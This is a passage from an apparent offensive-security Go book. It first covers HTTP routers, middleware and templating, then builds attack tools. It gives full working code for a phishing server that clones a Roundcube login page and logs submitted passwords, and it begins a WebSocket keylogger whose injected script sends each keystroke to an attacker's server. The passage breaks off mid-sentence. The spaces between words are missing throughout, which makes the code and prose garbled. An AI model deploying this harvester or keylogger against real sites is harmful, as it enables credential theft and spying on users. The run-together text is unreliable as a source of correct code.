You’resimplytellingyourHTTPserverthatanyrequestsfor /helloshouldbehandledbyafunctionnamedhello(). Underthecovers,whatdoeshttp.HandleFunc()actuallydo? TheGodocumentationwilltellyouthatitplacesthehandler ontheDefaultServerMux.AServerMuxisshortforaserver multiplexer,whichisjustafancywaytosaythatthe underlyingcodecanhandlemultipleHTTPrequestsfor patternsandfunctions.Itdoesthisusinggoroutines,withone goroutineperincomingrequest.Importingthenet/httppackage createsaServerMuxandattachesittothatpackage’snamespace; thisistheDefaultServerMux. Thenextlineisacalltohttp.ListenAndServe()❷,whichtakesa stringandanhttp.Handlerasarguments.ThisstartsanHTTP serverbyusingthefirstargumentastheaddress.Inthiscase, that’s:8000,whichmeanstheservershouldlistenonport8000 acrossallinterfaces.Forthesecondargument,thehttp.Handler, youpassinnil.Asaresult,thepackageusesDefaultServerMuxas theunderlyinghandler.Soon,you’llbeimplementingyour ownhttp.Handlerandwillpassthatin,butfornowyou’lljustuse thedefault.Youcouldalsousehttp.ListenAndServeTLS(),which willstartaserverusingHTTPSandTLS,asthename describes,butrequiresadditionalparameters. Implementingthehttp.Handlerinterfacerequiresasingle method:ServeHTTP(http.ResponseWriter,*http.Request).Thisisgreat becauseitsimplifiesthecreationofyourowncustomHTTP servers.You’llfindnumerousthird-partyimplementationsthat extendthenet/httpfunctionalitytoaddfeaturessuchas middleware,authentication,responseencoding,andmore. Youcantestthisserverbyusingcurl: $curl-ihttp://localhost:8000/hello?name=alice HTTP/1.1200OK Date:Sun,12Jan202001:18:26GMT Content-Length:12 Content-Type:text/plain;charset=utf-8 Helloalice Excellent!TheserveryoubuiltreadsthenameURL parameterandreplieswithagreeting. BuildingaSimpleRouter Nextyou’llbuildasimplerouter,showninListing4-2,that demonstrateshowtodynamicallyhandleinboundrequestsby inspectingtheURLpath.DependingonwhethertheURL containsthepath/a,/b,or/c,you’llprinteitherthemessage Executing/a,Executing/b,orExecuting/c.You’llprinta404NotFound errorforeverythingelse. packagemain import( "fmt" "net/http" ) ❶typerouterstruct{ } ❷func(r*router)ServeHTTP(whttp.ResponseWriter,req*http.Request){ ❸switchreq.URL.Path{ case"/a": fmt.Fprint(w,"Executing/a") case"/b": fmt.Fprint(w,"Executing/b") case"/c": fmt.Fprint(w,"Executing/c") default: http.Error(w,"404NotFound",404) } } funcmain(){ varrrouter ❹http.ListenAndServe(":8000",&r) } Listing4-2:Asimplerouter(/ch-4/simple_router/main.go) First,youdefineanewtypenamedrouterwithoutanyfields ❶.You’llusethistoimplementthehttp.Handlerinterface.Todo this,youmustdefinetheServeHTTP()method❷.Themethod usesaswitchstatementontherequest’sURLpath❸,executing differentlogicdependingonthepath.Itusesadefault404Not Foundresponseaction.Inmain(),youcreateanewrouterandpass itsrespectivepointertohttp.ListenAndServe()❹. Let’stakethisforaspinintheoleterminal: $curlhttp://localhost:8000/a Executing/a $curlhttp://localhost:8000/d 404NotFound Everythingworksasexpected;theprogramreturnsthe messageExecuting/aforaURLthatcontainsthe/apath,andit returnsa404responseonapaththatdoesn’texist.Thisisa trivialexample.Thethird-partyroutersthatyou’llusewill havemuchmorecomplexlogic,butthisshouldgiveyoua basicideaofhowtheywork. BuildingSimpleMiddleware Nowlet’sbuildmiddleware,whichisasortofwrapperthat willexecuteonallincomingrequestsregardlessofthe destinationfunction.IntheexampleinListing4-3,you’ll createaloggerthatdisplaystherequest’sprocessingstartand stoptime. Packagemain import( "fmt" "log" "net/http" "time" ) ❶typeloggerstruct{ Innerhttp.Handler } ❷func(l*logger)ServeHTTP(whttp.ResponseWriter,r*http.Request){ log.Println("start") ❸l.Inner.ServeHTTP(w,r) log.Println("finish") } funchello(whttp.ResponseWriter,r*http.Request){ fmt.Fprint(w,"Hello\n") } funcmain(){ ❹f:=http.HandlerFunc(hello) ❺l:=logger{Inner:f} ❻http.ListenAndServe(":8000",&l) } Listing4-3:Simplemiddleware(/ch-4/simple_middleware/main.go) Whatyou’reessentiallydoingiscreatinganouterhandler that,oneveryrequest,logssomeinformationontheserverand callsyourhello()function.Youwrapthislogginglogicaround yourfunction. Aswiththeroutingexample,youdefineanewtypenamed logger,butthistimeyouhaveafield,Inner,whichisanhttp.Handler itself❶.InyourServeHTTP()definition❷,youuselog()toprint thestartandfinishtimesoftherequest,callingtheinner handler’sServeHTTP()methodinbetween❸.Totheclient,the requestwillfinishinsidetheinnerhandler.Insidemain(),you usehttp.HandlerFunc()tocreateanhttp.Handleroutofafunction❹. Youcreatethelogger,settingInnertoyournewlycreatedhandler ❺.Finally,youstarttheserverbyusingapointertoalogger instance❻. Runningthisandissuingarequestoutputstwomessages containingthestartandfinishtimesoftherequest: $gobuild-osimple_middleware $./simple_middleware 2020/01/1606:23:14start 2020/01/1606:23:14finish Inthefollowingsections,we’lldigdeeperintomiddleware androutingandusesomeofourfavoritethird-partypackages, whichletyoucreatemoredynamicroutesandexecute middlewareinsideachain.We’llalsodiscusssomeusecases formiddlewarethatmoveintomorecomplexscenarios. Routingwiththegorilla/muxPackage AsshowninListing4-2,youcanuseroutingtomatcha request’spathtoafunction.Butyoucanalsouseittomatch otherproperties—suchastheHTTPverborhostheader—toa function.Severalthird-partyroutersareavailableintheGo ecosystem.Here,we’llintroduceyoutooneofthem:the gorilla/muxpackage.Butjustaswitheverything,weencourage youtoexpandyourknowledgebyresearchingadditional packagesasyouencounterthem. Thegorilla/muxpackageisamature,third-partyrouting packagethatallowsyoutoroutebasedonbothsimpleand complexpatterns.Itincludesregularexpressions,parameter matching,verbmatching,andsubrouting,amongother features. Let’sgooverafewexamplesofhowyoumightusethe router.Thereisnoneedtorunthese,asyou’llbeusingthem inarealprogramsoon,butpleasefeelfreetoplayaroundand experiment. Beforeyoucanusegorilla/mux,youmustgogetit: $gogetgithub.com/gorilla/mux Now,youcanstartrouting.Createyourrouterbyusing mux.NewRouter(): r:=mux.NewRouter() Thereturnedtypeimplementshttp.Handlerbuthasahostof otherassociatedmethodsaswell.Theoneyou’llusemost oftenisHandleFunc().Forexample,ifyouwantedtodefinea newroutetohandleGETrequeststothepattern/foo,youcould usethis: r.HandleFunc("/foo",func(whttp.ResponseWriter,req*http.Request){ fmt.Fprint(w,"hifoo") }).Methods("GET")❶ Now,becauseofthecalltoMethods()❶,onlyGETrequests willmatchthisroute.Allothermethodswillreturna404 response.Youcanchainotherqualifiersontopofthis,suchas Host(string),whichmatchesaparticularhostheadervalue.For example,thefollowingwillmatchonlyrequestswhosehost headerissettowww.foo.com: r.HandleFunc("/foo",func(whttp.ResponseWriter,req*http.Request){ fmt.Fprint(w,"hifoo") }).Methods("GET").Host("www.foo.com") Sometimesit’shelpfultomatchandpassinparameters withintherequestpath(forexample,whenimplementinga RESTfulAPI).Thisissimplewithgorilla/mux.Thefollowing willprintoutanythingfollowing/users/intherequest’spath: r.HandleFunc("/users/{user}",func(whttp.ResponseWriter,req*http.Request){ user:=mux.Vars(req)["user"] fmt.Fprintf(w,"hi%s\n",user) }).Methods("GET") }).Methods("GET") Inthepathdefinition,youusebracestodefinearequest parameter.Thinkofthisasanamedplaceholder.Then,inside thehandlerfunction,youcallmux.Vars(),passingittherequest object,whichreturnsamap[string]string—amapofrequest parameternamestotheirrespectivevalues.Youprovidethe namedplaceholderuserasthekey.So,arequestto/users/bob shouldproduceagreetingforBob: $curlhttp://localhost:8000/users/bob hibob Youcantakethisastepfurtherandusearegular expressiontoqualifythepatternspassed.Forexample,you canspecifythattheuserparametermustbelowercaseletters: r.HandleFunc("/users/{user:[a-z]+}",func(whttp.ResponseWriter,req *http.Request){ user:=mux.Vars(req)["user"] fmt.Fprintf(w,"hi%s\n",user) }).Methods("GET") Anyrequeststhatdon’tmatchthispatternwillnowreturna 404response: $curl-ihttp://localhost:8000/users/bob1 HTTP/1.1404NotFound Inthenextsection,we’llexpandonroutingtoinclude somemiddlewareimplementationsusingotherlibraries.This willgiveyouincreasedflexibilitywithhandlingHTTP requests. BuildingMiddlewarewithNegroni Thesimplemiddlewareweshowedearlierloggedthestartand endtimesofthehandlingoftherequestandreturnedthe response.Middlewaredoesn’thavetooperateonevery incomingrequest,butmostofthetimethatwillbethecase. Therearemanyreasonstousemiddleware,includinglogging requests,authenticatingandauthorizingusers,andmapping resources. Forexample,youcouldwritemiddlewareforperforming basicauthentication.Itcouldparseanauthorizationheaderfor eachrequest,validatetheusernameandpasswordprovided, andreturna401responseifthecredentialsareinvalid.You couldalsochainmultiplemiddlewarefunctionstogetherin suchawaythatafteroneisexecuted,thenextonedefinedis run. Fortheloggingmiddlewareyoucreatedearlierinthis chapter,youwrappedonlyasinglefunction.Inpractice,thisis notveryuseful,becauseyou’llwanttousemorethanone,and todothis,youmusthavelogicthatcanexecutethemina chain,oneafteranother.Writingthisfromscratchisnot incrediblydifficult,butlet’snotre-createthewheel.Here, you’lluseamaturepackagethatisalreadyabletodothis: negroni. Thenegronipackage,whichyoucanfindat https://github.com/urfave/negroni/,isgreatbecauseitdoesn’t tieyouintoalargerframework.Youcaneasilyboltitonto otherframeworks,anditprovidesalotofflexibility.Italso comeswithdefaultmiddlewarethatisusefulformany applications.Beforeyouhopin,youneedtogogetnegroni: $gogetgithub.com/urfave/negroni Whileyoutechnicallycouldusenegroniforallapplication logic,doingthisisfarfromidealbecauseit’spurpose-builtto actasmiddlewareanddoesn’tincludearouter.Instead,it’s besttousenegroniincombinationwithanotherpackage,suchas gorilla/muxornet/http.Let’susegorilla/muxtobuildaprogramthat willgetyouacquaintedwithnegroniandallowyoutovisualize theorderofoperationsastheytraversethemiddlewarechain. Startbycreatinganewfilecalledmain.gowithina directorynamespace,suchasgithub.com/blackhat-go/bhg/ch- 4/negroni_example/.(Thisnamespacewillalreadybecreated intheeventyouclonedtheBHGGithubrepository.)Now modifyyourmain.gofiletoincludethefollowingcode. packagemain import( "net/http" "github.com/gorilla/mux" "github.com/urfave/negroni" ) funcmain(){ ❶r:=mux.NewRouter() ❷n:=negroni.Classic() ❸n.UseHandler(r) http.ListenAndServe(":8000",n) } Listing4-4:Negroniexample(/ch-4/negroni_example/main.go) First,youcreatearouterasyoudidearlierinthischapter bycallingmux.NewRouter()❶.Nextcomesyourfirstinteraction withthenegronipackage:youmakeacalltonegroni.Classic()❷. ThiscreatesanewpointertoaNegroniinstance. Therearedifferentwaystodothis.Youcaneitheruse negroni.Classic()orcallnegroni.New().Thefirst,negroni.Classic(),sets updefaultmiddleware,includingarequestlogger,recovery middlewarethatwillinterceptandrecoverfrompanics,and middlewarethatwillservefilesfromthepublicfolderinthe samedirectory.Thenegroni.New()functiondoesn’tcreateany defaultmiddleware. Eachtypeofmiddlewareisavailableinthenegronipackage. Forexample,youcanusetherecoverypackagebydoingthe following: n.Use(negroni.NewRecovery()) Next,youaddyourroutertothemiddlewarestackby callingn.UseHandler(r)❸.Asyoucontinuetoplanandbuildout yourmiddleware,considertheorderofexecution.For example,you’llwantyourauthentication-checking middlewaretorunpriortothehandlerfunctionsthatrequire authentication.Anymiddlewaremountedbeforetherouter willexecutepriortoyourhandlerfunctions;anymiddleware mountedaftertherouterwillexecuteafteryourhandler functions.Ordermatters.Inthiscase,youhaven’tdefinedany custommiddleware,butyouwillsoon. GoaheadandbuildtheserveryoucreatedinListing4-4, andthenexecuteit.Thenissuewebrequeststotheserverat http://localhost:8000.Youshouldseethenegronilogging middlewareprintinformationtostdout,asshownnext.The outputshowsthetimestamp,responsecode,processingtime, host,andHTTPmethod: $gobuild-snegroni_example $./negroni_example [negroni]2020-01-19T11:49:33-07:00|404|1.0002ms|localhost:8000|GET Havingdefaultmiddlewareisgreatandall,butthereal powercomeswhenyoucreateyourown.Withnegroni,youcan useafewmethodstoaddmiddlewaretothestack.Takealook atthefollowingcode.Itcreatestrivialmiddlewarethatprintsa messageandpassesexecutiontothenextmiddlewareinthe chain: typetrivialstruct{ } func(t*trivial)ServeHTTP(whttp.ResponseWriter,r*http.Request,next http.HandlerFunc){❶ fmt.Println("Executingtrivialmiddleware") next(w,r)❷ } Thisimplementationisslightlydifferentfromprevious examples.Before,youwereimplementingthehttp.Handler interface,whichexpectedaServeHTTP()methodthataccepted twoparameters:http.ResponseWriterand*http.Request.Inthisnew example,insteadofthehttp.Handlerinterface,you’re implementingthenegroni.Handlerinterface. Theslightdifferenceisthatthenegroni.Handlerinterface expectsyoutoimplementaServeHTTP()methodthatacceptsnot two,butthree,parameters:http.ResponseWriter,*http.Request,and http.HandlerFunc❶.Thehttp.HandlerFuncparameterrepresentsthe nextmiddlewarefunctioninthechain.Foryourpurposes,you nameitnext.YoudoyourprocessingwithinServeHTTP(),and thencallnext()❷,passingitthehttp.ResponseWriterand*http.Request valuesyouoriginallyreceived.Thiseffectivelytransfers executiondownthechain. Butyoustillhavetotellnegronitouseyourimplementation aspartofthemiddlewarechain.Youcandothisbycalling negroni’sUsemethodandpassinganinstanceofyour negroni.Handlerimplementationtoit: n.Use(&trivial{}) Writingyourmiddlewarebyusingthismethodis convenientbecauseyoucaneasilypassexecutiontothenext middleware.Thereisonedrawback:anythingyouwritemust usenegroni.Forexample,ifyouwerewritingamiddleware packagethatwritessecurityheaderstoaresponse,youwould wantittoimplementhttp.Handler,soyoucoulduseitinother applicationstacks,sincemoststackswon’texpecta negroni.Handler.Thepointis,regardlessofyourmiddleware’s purpose,compatibilityissuesmayarisewhentryingtouse negronimiddlewareinanon-negronistack,andviceversa. Therearetwootherwaystotellnegronitouseyour middleware.UseHandler(handlerhttp.Handler),whichyou’realready familiarwith,isthefirst.Thesecondwayistocall UseHandleFunc(handlerFuncfunc(whttp.ResponseWriter,r*http.Request)).The latterisnotsomethingyou’llwanttouseoften,sinceitdoesn’t letyouforgoexecutionofthenextmiddlewareinthechain. Forexample,ifyouwerewritingmiddlewaretoperform authentication,youwouldwanttoreturna401responseand stopexecutionifanycredentialsorsessioninformationwere invalid;withthismethod,there’snowaytodothat. AddingAuthenticationwithNegroni Beforemovingon,let’smodifyourexamplefromtheprevious sectiontodemonstratetheuseofcontext,whichcaneasilypass variablesbetweenfunctions.TheexampleinListing4-5uses negronitoaddauthenticationmiddleware. packagemain import( "context" "fmt" "net/http" "github.com/gorilla/mux" "github.com/urfave/negroni" ) typebadAuthstruct{❶ Usernamestring Passwordstring } func(b*badAuth)ServeHTTP(whttp.ResponseWriter,r*http.Request,next http.HandlerFunc){❷ username:=r.URL.Query().Get("username")❸ password:=r.URL.Query().Get("password") ifusername!=b.Username||password!=b.Password{ http.Error(w,"Unauthorized",401) return❹ } ctx:=context.WithValue(r.Context(),"username",username)❺ r=r.WithContext(ctx)❻ next(w,r) } funchello(whttp.ResponseWriter,r*http.Request){ username:=r.Context().Value("username").(string)❼ fmt.Fprintf(w,"Hi%s\n",username) } funcmain(){ r:=mux.NewRouter() r.HandleFunc("/hello",hello).Methods("GET") n:=negroni.Classic() n.Use(&badAuth{ Username:"admin", Password:"password", }) n.UseHandler(r) http.ListenAndServe(":8000",n) } Listing4-5:Usingcontextinhandlers(/ch-4/negroni_example/main.go) You’veaddednewmiddleware,badAuth,thatisgoingto simulateauthentication,purelyfordemonstrationpurposes❶. Thisnewtypehastwofields,UsernameandPassword,and implementsnegroni.Handler,sinceitdefinesthethree-parameter versionoftheServeHTTP()method❷wediscussedpreviously. InsidetheServeHTTP()method,youfirstgrabtheusernameand passwordfromtherequest❸,andthencomparethemtothe fieldsyouhave.Iftheusernameandpasswordareincorrect, executionisstopped,anda401responseiswrittentothe requester. Noticethatyoureturn❹beforecallingnext().Thisprevents theremainderofthemiddlewarechainfromexecuting.Ifthe credentialsarecorrect,yougothrougharatherverboseroutine ofaddingtheusernametotherequestcontext.Youfirstcall context.WithValue()toinitializethecontextfromtherequest, settingavariablenamedusernameonthatcontext❺.Youthen makesuretherequestusesyournewcontextbycalling r.WithContext(ctx)❻.Ifyouplanonwritingwebapplications withGo,you’llwanttobecomefamiliarwiththispattern,as you’llbeusingitalot. Inthehello()function,yougettheusernamefromthe requestcontextbyusingtheContext().Value(interface{})function, whichitselfreturnsaninterface{}.Becauseyouknowit’sa string,youcanuseatypeassertionhere❼.Ifyoucan’t guaranteethetype,oryoucan’tguaranteethatthevaluewill existinthecontext,useaswitchroutineforconversion. BuildandexecutethecodefromListing4-5andsendafew requeststotheserver.Sendsomewithbothcorrectand incorrectcredentials.Youshouldseethefollowingoutput: $curl-ihttp://localhost:8000/hello HTTP/1.1401Unauthorized Content-Type:text/plain;charset=utf-8 X-Content-Type-Options:nosniff Date:Thu,16Jan202020:41:20GMT Content-Length:13 Unauthorized $curl-i'http://localhost:8000/hello?username=admin&password=password' HTTP/1.1200OK Date:Thu,16Jan202020:41:05GMT Content-Length:9 Content-Type:text/plain;charset=utf-8 Hiadmin Makingarequestwithoutcredentialsresultsinyour middlewarereturninga401Unauthorizederror.Sendingthe samerequestwithavalidsetofcredentialsproducesasuper- secretgreetingmessageaccessibleonlytoauthenticatedusers. Thatwasanawfullottodigest.Uptothispoint,your handlerfunctionshavesolelyusedfmt.FPrintf()towriteyour responsetothehttp.ResponseWriterinstance.Inthenextsection, you’lllookatamoredynamicwayofreturningHTMLby usingGo’stemplatingpackage. UsingTemplatestoProduceHTMLResponses Templatesallowyoutodynamicallygeneratecontent, includingHTML,withvariablesfromGoprograms.Many languageshavethird-partypackagesthatallowyoutogenerate templates.Gohastwotemplatingpackages,text/templateand html/template.Inthischapter,you’llusetheHTMLpackage, becauseitprovidesthecontextualencodingyouneed. OneofthefantasticthingsaboutGo’spackageisthatit’s contextuallyaware:itwillencodeyourvariabledifferently dependingonwherethevariableisplacedinthetemplate.For example,ifyouweretosupplyastringasaURLtoanhref attribute,thestringwouldbeURLencoded,butthesame stringwouldbeHTMLencodedifitrenderedwithinan HTMLelement. Tocreateandusetemplates,youfirstdefineyourtemplate, whichcontainsaplaceholdertodenotethedynamiccontextual datatorender.Itssyntaxshouldlookfamiliartoreaderswho haveusedJinjawithPython.Whenyourenderthetemplate, youpasstoitavariablethat’llbeusedasthiscontext.The variablecanbeacomplexstructurewithseveralfields,orit canbeaprimitivevariable. Let’sworkthroughasample,showninListing4-6,that createsasimpletemplateandpopulatesaplaceholderwith JavaScript.Thisisacontrivedexamplethatshowshowto dynamicallypopulatecontentreturnedtothebrowser. packagemain import( "html/template" "os" ) ❶varx=` <html> <body> ❷Hello{{.}} </body> </html> ` funcmain(){ ❸t,err:=template.New("hello").Parse(x) iferr!=nil{ panic(err) } ❹t.Execute(os.Stdout,"<script>alert('world')</script>") } Listing4-6:HTMLtemplating(/ch-4/template_example/main.go) Thefirstthingyoudoiscreateavariable,namedx,tostore yourHTMLtemplate❶.Hereyou’reusingastringembedded inyourcodetodefineyourtemplate,butmostofthetime you’llwanttostoreyourtemplatesasseparatefiles.Notice thatthetemplateisnothingmorethanasimpleHTMLpage. Insidethetemplate,youdefineplaceholdersbyusingthe {{variable-name}}convention,wherevariable-nameisthedata elementwithinyourcontextualdatathatyou’llwanttorender ❷.Recallthatthiscanbeastructoranotherprimitive.Inthis case,you’reusingasingleperiod,whichtellsthepackagethat youwanttorendertheentirecontexthere.Sinceyou’llbe workingwithasinglestring,thisisfine,butifyouhadalarger andmorecomplexdatastructure,suchasastruct,youcould getonlythefieldsyouwantbycallingpastthisperiod.For example,ifyoupassedastructwithaUsernamefieldtothe template,youcouldrenderthefieldbyusing{{.Username}}. Next,inyourmain()function,youcreateanewtemplateby callingtemplate.New(string)❸.ThenyoucallParse(string)toensure thatthetemplateisproperlyformattedandtoparseit. Together,thesetwofunctionsreturnanewpointertoa Template. Whilethisexampleusesonlyasingletemplate,it’s possibletoembedtemplatesinothertemplates.Whenusing multipletemplates,it’simportantthatyounametheminorder tobeabletocallthem.Finally,youcallExecute(io.Writer, interface{})❹,whichprocessesthetemplatebyusingthe variablepassedasthesecondargumentandwritesittothe providedio.Writer.Fordemonstrationpurposes,you’lluse os.Stdout.ThesecondvariableyoupassintotheExecute()method isthecontextthat’llbeusedforrenderingthetemplate. RunningthisproducesHTML,andyoushouldnoticethat thescripttagsandothernefariouscharactersthatwere providedaspartofyourcontextareproperlyencoded.Neat-o! $gobuild-otemplate_example $./template_example <html> <body> Hello&lt;script&gt;alert(&#39;world&#39;)&lt;/script&gt; </body> </html> Wecouldsayalotmoreabouttemplates.Youcanuse logicaloperatorswiththem;youcanusethemwithloopsand othercontrolstructures.Youcancallbuilt-infunctions,and youcanevendefineandexposearbitraryhelperfunctionsto greatlyexpandthetemplatingcapabilities.Doubleneat-o!We recommendyoudiveinandresearchthesepossibilities. They’rebeyondthescopeofthisbook,butarepowerful. Howaboutyoustepawayfromthebasicsofcreating serversandhandlingrequestsandinsteadfocusonsomething morenefarious.Let’screateacredentialharvester! CREDENTIALHARVESTING Oneofthestaplesofsocialengineeringisthecredential- harvestingattack.Thistypeofattackcapturesusers’login informationtospecificwebsitesbygettingthemtoentertheir credentialsinaclonedversionoftheoriginalsite.Theattack isusefulagainstorganizationsthatexposeasingle-factor authenticationinterfacetotheinternet.Onceyouhaveauser’s credentials,youcanusethemtoaccesstheiraccountonthe actualsite.Thisoftenleadstoaninitialbreachofthe organization’sperimeternetwork. Goprovidesagreatplatformforthistypeofattack, becauseit’squicktostandupnewservers,andbecauseit makesiteasytoconfigureroutingandtoparseuser-supplied input.Youcouldaddmanycustomizationsandfeaturestoa credential-harvestingserver,butforthisexample,let’sstickto thebasics. Tobegin,youneedtocloneasitethathasaloginform. Therearealotofpossibilitieshere.Inpractice,you’d probablywanttocloneasiteinusebythetarget.Forthis example,though,you’llcloneaRoundcubesite.Roundcubeis anopensourcewebmailclientthat’snotusedasoftenas commercialsoftware,suchasMicrosoftExchange,butwill allowustoillustratetheconceptsjustaswell.You’lluse DockertorunRoundcube,becauseitmakestheprocesseasier. YoucanstartaRoundcubeserverofyourownby executingthefollowing.Ifyoudon’twanttorunaRoundcube server,thennoworries;theexercisesourcecodehasacloneof thesite.Still,we’reincludingthisforcompleteness: $dockerrun--rm-it-p127.0.0.180:80robbertkl/roundcube ThecommandstartsaRoundcubeDockerinstance.Ifyou navigatetohttp://127.0.0.1:80,you’llbepresentedwitha loginform.Normally,you’dusewgettocloneasiteandallits requisitefiles,butRoundcubehasJavaScriptawesomeness thatpreventsthisfromworking.Instead,you’lluseGoogle Chrometosaveit.Intheexercisefolder,youshouldseea directorystructurethatlookslikeListing4-7. $tree . +--main.go +--public +--index.html +--index_files +--app.js +--common.js +--jquery-ui-1.10.4.custom.css +--jquery-ui-1.10.4.custom.min.js +--jquery.min.js +--jstz.min.js +--roundcube_logo.png +--styles.css +--ui.js index.html Listing4-7:Directorylistingfor/ch-4/credential_harvester/ Thefilesinthepublicdirectoryrepresenttheunaltered clonedloginsite.You’llneedtomodifytheoriginallogin formtoredirecttheenteredcredentials,sendingthemto yourselfinsteadofthelegitimateserver.Tobegin,open public/index.htmlandfindtheformelementusedtoPOSTthe loginrequest.Itshouldlooksomethinglikethefollowing: <formname="form"method="post"action="http://127.0.0.1/?_task=login"> Youneedtomodifytheactionattributeofthistagandpoint ittoyourserver.Changeactionto/login.Don’tforgettosaveit. Thelineshouldnowlooklikethefollowing: <formname="form"method="post"action="/login"> Torendertheloginformcorrectlyandcaptureausername andpassword,you’llfirstneedtoservethefilesinthepublic directory.Thenyou’llneedtowriteaHandleFuncfor/loginto capturetheusernameandpassword.You’llalsowanttostore thecapturedcredentialsinafilewithsomeverboselogging. Youcanhandleallofthisinjustafewdozenlinesofcode. Listing4-8showstheprograminitsentirety. packagemain import( "net/http" "os" "time" log"github.com/Sirupsen/logrus"❶ "github.com/gorilla/mux" ) funclogin(whttp.ResponseWriter,r*http.Request){ log.WithFields(log.Fields{❷ "time":time.Now().String(), "username":r.FormValue("_user"),❸ "password":r.FormValue("_pass"),❹ "user-agent":r.UserAgent(), "ip_address":r.RemoteAddr, }).Info("loginattempt") http.Redirect(w,r,"/",302) } funcmain(){ fh,err:=os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY,0600)❺ iferr!=nil{ panic(err) } deferfh.Close() log.SetOutput(fh)❻ r:=mux.NewRouter() r.HandleFunc("/login",login).Methods("POST")❼ r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))❽ log.Fatal(http.ListenAndServe(":8080",r)) } Listing4-8:Credential-harvestingserver(/ch-4/credential_harvester/main.go) Thefirstthingworthnotingisyouimport github.com/Sirupsen/logrus❶.Thisisastructuredloggingpackage thatweprefertouseinsteadofthestandardGologpackage.It providesmoreconfigurableloggingoptionsforbettererror handling.Tousethispackage,you’llneedtomakesureyou rangogetbeforehand. Next,youdefinethelogin()handlerfunction.Hopefully,this patternlooksfamiliar.Insidethisfunction,youuse log.WithFields()towriteoutyourcaptureddata❷.Youdisplay thecurrenttime,theuser-agent,andIPaddressofthe requester.YoualsocallFormValue(string)tocaptureboththe username(_user)❸andpassword(_pass)❹valuesthatwere submitted.Yougetthesevaluesfromindex.htmlandby locatingtheforminputelementsforeachusernameand password.Yourserverneedstoexplicitlyalignwiththenames ofthefieldsastheyexistintheloginform. Thefollowingsnippet,extractedfromindex.html,shows therelevantinputitems,withtheelementnamesinboldfor clarity: <tdclass="input"><inputname="_user"id="rcmloginuser"required="required" size="40"autocapitalize="off"autocomplete="off"type="text"></td> <tdclass="input"><inputname="_pass"id="rcmloginpwd"required="required" size="40"autocapitalize="off"autocomplete="off"type="password"></td> Inyourmain()function,youbeginbyopeningafilethat’ll beusedtostoreyourcaptureddata❺.Then,youuse log.SetOutput(io.Writer),passingitthefilehandleyoujustcreated, toconfiguretheloggingpackagesothatit’llwriteitsoutputto thatfile❻.Next,youcreateanewrouterandmountthelogin() handlerfunction❼. Priortostartingtheserver,youdoonemorethingthatmay lookunfamiliar:youtellyourroutertoservestaticfilesfroma directory❽.Thatway,yourGoserverexplicitlyknowswhere yourstaticfiles—images,JavaScript,HTML—live.Gomakes thiseasy,andprovidesprotectionsagainstdirectorytraversal attacks.Startingfromtheinsideout,youusehttp.Dir(string)to definethedirectoryfromwhichyouwishtoservethefiles. Theresultofthisispassedasinputtohttp.FileServer(FileSystem), whichcreatesanhttp.Handlerforyourdirectory.You’llmount thistoyourrouterbyusingPathPrefix(string).Using/asapath prefixwillmatchanyrequestthathasn’talreadyfounda match.Notethat,bydefault,thehandlerreturnedfrom FileServerdoessupportdirectoryindexing.Thiscouldleaksome information.It’spossibletodisablethis,butwewon’tcover thathere. Finally,asyouhavebefore,youstarttheserver.Once you’vebuiltandexecutedthecodeinListing4-8,openyour webbrowserandnavigatetohttp://localhost:8080.Try submittingausernameandpasswordtotheform.Thenhead backtotheterminal,exittheprogram,andviewthe credentials.txtfile,shownhere: $gobuild-ocredential_harvester $./credential_harvester ^C $catcredentials.txt INFO[0038]loginattempt ip_address="127.0.0.1:34040"password="p@ssw0rd1!"time="2020-02-13 21:29:37.048572849-0800PST"user-agent="Mozilla/5.0(X11;Ubuntu;Linux x86_64; rv:51.0)Gecko/20100101Firefox/51.0"username=bob Lookatthoselogs!Youcanseethatyousubmittedthe usernameofbobandthepasswordofp@ssw0rd1!.Your maliciousserversuccessfullyhandledtheformPOSTrequest, capturedtheenteredcredentials,andsavedthemtoafilefor offlineviewing.Asanattacker,youcouldthenattempttouse thesecredentialsagainstthetargetorganizationandproceed withfurthercompromise. Inthenextsection,you’llworkthroughavariationofthis credential-harvestingtechnique.Insteadofwaitingforform submission,you’llcreateakeyloggertocapturekeystrokesin realtime. KEYLOGGINGWITHTHE WEBSOCKETAPI TheWebSocketAPI(WebSockets),afullduplexprotocol,has increasedinpopularityovertheyearsandmanybrowsersnow supportit.Itprovidesawayforwebapplicationserversand clientstoefficientlycommunicatewitheachother.Most importantly,itallowstheservertosendmessagestoaclient withouttheneedforpolling. WebSocketsareusefulforbuilding“real-time” applications,suchaschatandgames,butyoucanusethemfor nefariouspurposesaswell,suchasinjectingakeyloggerinto anapplicationtocaptureeverykeyauserpresses.Tobegin, imagineyou’veidentifiedanapplicationthatisvulnerableto cross-sitescripting(aflawthroughwhichathirdpartycanrun arbitraryJavaScriptinavictim’sbrowser)oryou’ve compromisedawebserver,allowingyoutomodifythe applicationsourcecode.Eitherscenarioshouldletyouinclude aremoteJavaScriptfile.You’llbuildtheserverinfrastructure tohandleaWebSocketconnectionfromaclientandhandle incomingkeystrokes. Fordemonstrationpurposes,you’lluseJSBin (http://jsbin.com)totestyourpayload.JSBinisanonline playgroundwheredeveloperscantesttheirHTMLand JavaScriptcode.NavigatetoJSBininyourwebbrowserand pastethefollowingHTMLintothecolumnontheleft, completelyreplacingthedefaultcode: <!DOCTYPEhtml> <html> <head> <title>Login</title> </head> <body> <scriptsrc='http://localhost:8080/k.js'></script> <formaction='/login'method='post'> <inputname='username'/> <inputname='password'/> <inputtype="submit"/> </form> </body> </html> Ontherightsideofthescreen,you’llseetherendered form.Asyoumayhavenoticed,you’veincludedascripttag withthesrcattributesettohttp://localhost:8080/k.js.Thisisgoingto betheJavaScriptcodethatwillcreatetheWebSocket connectionandsenduserinputtotheserver. Yourserverisgoingtoneedtodotwothings:handlethe WebSocketandservetheJavaScriptfile.First,let’sgetthe JavaScriptoutoftheway,sinceafterall,thisbookisabout Go,notJavaScript.(Checkout https://github.com/gopherjs/gopherjs/forinstructionson writingJavaScriptwithGo.)TheJavaScriptcodeisshown here: (function(){ varconn=newWebSocket("ws://{{.}}/ws"); document.onkeypress=keypress; functionkeypress(evt){ s=String.fromCharCode(evt.which); conn.send(s); } })(); TheJavaScriptcodehandleskeypressevents.Eachtimea keyispressed,thecodesendsthekeystrokesovera WebSockettoaresourceatws://{{.}}/ws.Recallthatthe{{.}} valueisaGotemplateplaceholderrepresentingthecurrent context.ThisresourcerepresentsaWebSocketURLthatwill populatetheserverlocationinformationbasedonastring 